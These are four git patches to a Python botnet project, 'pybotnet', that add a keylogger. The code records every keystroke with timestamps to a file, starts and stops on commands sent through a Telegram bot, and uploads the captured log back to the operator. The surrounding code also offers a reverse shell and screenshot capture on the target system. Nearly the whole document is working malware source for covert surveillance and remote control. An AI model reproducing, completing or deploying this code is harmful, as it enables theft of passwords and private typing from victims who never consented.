From df059cbfd6b73c0bc0198a263eff629189aec837 Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Sun, 19 Sep 2021 15:27:12 +0430 Subject: [PATCH 1/4] added keylogger --- pybotnet/util.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/pybotnet/util.py b/pybotnet/util.py index 3a9eaa4..1a1fa8e 100644 --- a/pybotnet/util.py +++ b/pybotnet/util.py @@ -5,6 +5,7 @@ # import built-in & third-party modules from typing import List +from pynput import keyboard import requests import json import platform @@ -18,6 +19,29 @@ from PIL import ImageGrab +class KeyLogger: + '''this class is for keylogger utility , you should only start this class from a threading object. + this way , the keylogger and the app itself will both run at the same time.''' + def __init__(self,listener, filename: str = "klog.txt") -> None: + self.filename = filename + self.listener = listener + + def pressed_key(self, key): + with open(self.filename, 'a') as logs: + logs.write(str(key)) + + def main(self): + self.listener.start() +""" def stop(self): + listener.stop()""" +def doit(): + logger = KeyLogger(keyboard.Listener(on_press=KeyLogger.pressed_key,)) + logger.main() + + + + + def get_current_epoc_time() -> float: return time.time() @@ -416,3 +440,4 @@ def screenshot_pil(logger, route: str = ''): except Exception as error: logger.info(f'util.screenshot_pil error: {error}') return False + From 4ecb06c6e0a9a0aabdbd8840ba117a9fb9b46a09 Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Sun, 19 Sep 2021 16:23:55 +0430 Subject: [PATCH 2/4] Added keylogger function to scripts , fixed a few bugs , code will be tested now. --- pybotnet/pybotnet.py | 9 ++++---- pybotnet/scripts.py | 51 +++++++++++++++++++++++++++++++++++++++++--- pybotnet/util.py | 39 ++++++++++++++++----------------- 3 files changed, 73 insertions(+), 26 deletions(-) diff --git a/pybotnet/pybotnet.py b/pybotnet/pybotnet.py index 9b5979a..cabbdb4 100644 --- a/pybotnet/pybotnet.py +++ b/pybotnet/pybotnet.py @@ -1,12 +1,13 @@ -# import built-in & third-party modules -import logging -import re - # import pybotnet modules from . import util from . import scripts from . import settings +# import built-in & third-party modules +import logging +import re + + class PyBotNet: ''' diff --git a/pybotnet/scripts.py b/pybotnet/scripts.py index 9e6c85a..123d908 100644 --- a/pybotnet/scripts.py +++ b/pybotnet/scripts.py @@ -1,11 +1,12 @@ '''Defult PyBotNet scripts''' +import enum import re import os import subprocess import requests +import threading from typing import List from time import sleep - from uuid import getnode as get_system_mac_addres from requests import get @@ -36,6 +37,8 @@ "/start": "`/start`: run `help` command!", + "keylogger start/stop": "`keylogger start/stop`: Starts keylogger. use keylogger stop to stop keylogger" , + "reverse_shell": "` reverse_shell`: start reverse shell on target system" } @@ -56,7 +59,6 @@ def is_command(command) -> bool: return True return False - def reverse_shell(is_shell, ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger): ''' start reverse shell on target system and send response in telegram bot ''' @@ -125,6 +127,7 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C elif command_name == 'ls': return execute_ls(command, logger) + elif command_name == 'cd': return execute_cd(command, logger) @@ -142,7 +145,9 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C elif command_name in ['reverse_shell']: return reverse_shell(is_shell, ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger) - + + elif command_name == "keylogger": + return keylogger(command,logger) logger.error('execute_scripts invalid command; Wrong format') return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}" @@ -407,6 +412,46 @@ def screenshot(logger): return 'get screenshot Failed' +def keylogger(logger,command): + """checks if command[1] is off or on. if on , a thread to start keylogging will start + if off , keylogger thread will stop. this function will handle multiple keyloggers running.""" + thread_name = "keylog" # for threading , this way we can prevent multiple keyloggers running at the same time + keylogger = util.KeyLogger() + # if user requested keylogger to be turned on + if split_command(command)[1] == 'on': + for th in threading.enumerate(): + if th.name == thread_name: + logger.error("user requested keylogger to be turned on , but keylogger is already on.") + return "Key logger is already on. " + else: + logger.info('turning keylogger on...') + keylogger_thread = threading.Thread(target=logger.start(),name="keylog") + keylogger_thread.start() + logger.info('keylogger is on') + + # if user requested keylogger to be turned off + if split_command(command)[1] == 'off': + for th in threading.enumerate(): + if th.name == thread_name: # if keylogger is on + keylogger.stop() + keylogger_thread.join() + data = upload_manager("klog.txt",logger) + if data[0] == False: + return 'upload failed' + else: + return data[1] + + + else: + logger.error('user requested to turn off the keylogger , but keylogger was already off') + return 'Key logger is already off' + + + + + + + def command_help(logger): commands = '' try: diff --git a/pybotnet/util.py b/pybotnet/util.py index 1a1fa8e..623e25e 100644 --- a/pybotnet/util.py +++ b/pybotnet/util.py @@ -4,15 +4,15 @@ from . import settings # import built-in & third-party modules -from typing import List -from pynput import keyboard +import datetime import requests import json import platform import time import zipfile import os - +from typing import List +from pynput import keyboard from socket import gethostname, gethostbyname from uuid import getnode as get_system_mac_addres from bs4 import BeautifulSoup @@ -22,25 +22,26 @@ class KeyLogger: '''this class is for keylogger utility , you should only start this class from a threading object. this way , the keylogger and the app itself will both run at the same time.''' - def __init__(self,listener, filename: str = "klog.txt") -> None: - self.filename = filename - self.listener = listener + def __init__(self) -> None: + self.filename = "klog.txt" + + def pressed_key(self, key): + """if a key is presses , this function will be called and it will write data.""" with open(self.filename, 'a') as logs: - logs.write(str(key)) - - def main(self): - self.listener.start() -""" def stop(self): - listener.stop()""" -def doit(): - logger = KeyLogger(keyboard.Listener(on_press=KeyLogger.pressed_key,)) - logger.main() - - - - + logs.write('{0} {1}'.format(str(datetime.datetime.now),str(key))) + + def start(self): + """starting point of keylogger.""" + global listener + listener = keyboard.Listener(on_press=self.pressed_key,) + listener.start() + + def stop(self): + """stops listener""" + global listener + listener.stop() def get_current_epoc_time() -> float: return time.time() From 71ab64bae9486e6d507eb9735821592e47f06aca Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Sun, 19 Sep 2021 19:56:04 +0430 Subject: [PATCH 3/4] Added keyloger. --- pybotnet/pybotnet.py | 1 + pybotnet/scripts.py | 60 +++++++++++++++++++++----------------------- pybotnet/util.py | 5 ++-- 3 files changed, 33 insertions(+), 33 deletions(-) diff --git a/pybotnet/pybotnet.py b/pybotnet/pybotnet.py index cabbdb4..224f1d7 100644 --- a/pybotnet/pybotnet.py +++ b/pybotnet/pybotnet.py @@ -58,6 +58,7 @@ def send_message_by_third_party_proxy(self, message): def get_last_command_by_third_party_proxy(self): '''return last admin message or False''' + #TODO : it is better to dont run this function every time when running. return util.get_last_admin_command_by_third_party_proxy( self.ADMIN_CHAT_ID, self.TELEGRAM_TOKEN, self.previous_update_id, self.logger) diff --git a/pybotnet/scripts.py b/pybotnet/scripts.py index 123d908..5e88e9f 100644 --- a/pybotnet/scripts.py +++ b/pybotnet/scripts.py @@ -15,6 +15,8 @@ from . import settings MAC_ADDRES = str(get_system_mac_addres()) +keylogger_thread = None +keylogger_util = None scripts_name = { MAC_ADDRES: "` `: run command on one target", @@ -37,7 +39,7 @@ "/start": "`/start`: run `help` command!", - "keylogger start/stop": "`keylogger start/stop`: Starts keylogger. use keylogger stop to stop keylogger" , + "keylogger": "`keylogger start/stop`: Starts keylogger. use keylogger stop to stop keylogger" , "reverse_shell": "` reverse_shell`: start reverse shell on target system" } @@ -146,8 +148,8 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C elif command_name in ['reverse_shell']: return reverse_shell(is_shell, ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger) - elif command_name == "keylogger": - return keylogger(command,logger) + elif command_name == "keylogger" and split_command(command)[1] in ['start','stop']: + return keylogger(logger,command) logger.error('execute_scripts invalid command; Wrong format') return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}" @@ -413,40 +415,36 @@ def screenshot(logger): def keylogger(logger,command): + global keylogger_util,keylogger_thread """checks if command[1] is off or on. if on , a thread to start keylogging will start if off , keylogger thread will stop. this function will handle multiple keyloggers running.""" - thread_name = "keylog" # for threading , this way we can prevent multiple keyloggers running at the same time - keylogger = util.KeyLogger() + keylogger_thread_name = "keylog" # for threading , this way we can prevent multiple keyloggers running at the same time # if user requested keylogger to be turned on - if split_command(command)[1] == 'on': - for th in threading.enumerate(): - if th.name == thread_name: - logger.error("user requested keylogger to be turned on , but keylogger is already on.") - return "Key logger is already on. " - else: - logger.info('turning keylogger on...') - keylogger_thread = threading.Thread(target=logger.start(),name="keylog") - keylogger_thread.start() - logger.info('keylogger is on') + if split_command(command)[1] == 'start': + keylogger_util = util.KeyLogger() + if keylogger_thread_name in (i.name for i in threading.enumerate()): + logger.error('keylogger is already turned on') + return 'keylogger is already turned on' + logger.info('turning keylogger on...') + keylogger_thread = threading.Thread(target=keylogger_util.start,name=keylogger_thread_name) + keylogger_thread.start() + keylogger_thread.join() + logger.info('keylogger turned on.') + return 'Key logger turned on.' # if user requested keylogger to be turned off - if split_command(command)[1] == 'off': - for th in threading.enumerate(): - if th.name == thread_name: # if keylogger is on - keylogger.stop() - keylogger_thread.join() - data = upload_manager("klog.txt",logger) - if data[0] == False: - return 'upload failed' - else: - return data[1] - - + if split_command(command)[1] == 'stop': + try: + keylogger_thread.join() + keylogger_util.stop() + data = upload_manager("klog.txt",logger) + if data[0] == False: + return 'upload failed' else: - logger.error('user requested to turn off the keylogger , but keylogger was already off') - return 'Key logger is already off' - - + return 'keylogger off. logger txt file => {0}'.format(data[1]) + except: + return 'keylogger is already off.' + diff --git a/pybotnet/util.py b/pybotnet/util.py index 623e25e..a1a4c5f 100644 --- a/pybotnet/util.py +++ b/pybotnet/util.py @@ -29,14 +29,15 @@ def __init__(self) -> None: def pressed_key(self, key): """if a key is presses , this function will be called and it will write data.""" - with open(self.filename, 'a') as logs: - logs.write('{0} {1}'.format(str(datetime.datetime.now),str(key))) + with open(self.filename, 'a',errors='ignore') as logs: + logs.write('{0} {1}\n'.format(str(datetime.datetime.now()),str(key))) def start(self): """starting point of keylogger.""" global listener listener = keyboard.Listener(on_press=self.pressed_key,) listener.start() + def stop(self): """stops listener""" From 300929502710e0ce45c4cf27ed5e1029ebe2a5ce Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Mon, 20 Sep 2021 18:24:12 +0430 Subject: [PATCH 4/4] fixed requirements.txt file --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index e2b8c50..392e10f 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,3 +6,4 @@ Pillow==8.3.1 requests==2.26.0 soupsieve==2.2.1 urllib3==1.26.6 +pynput==1.7.3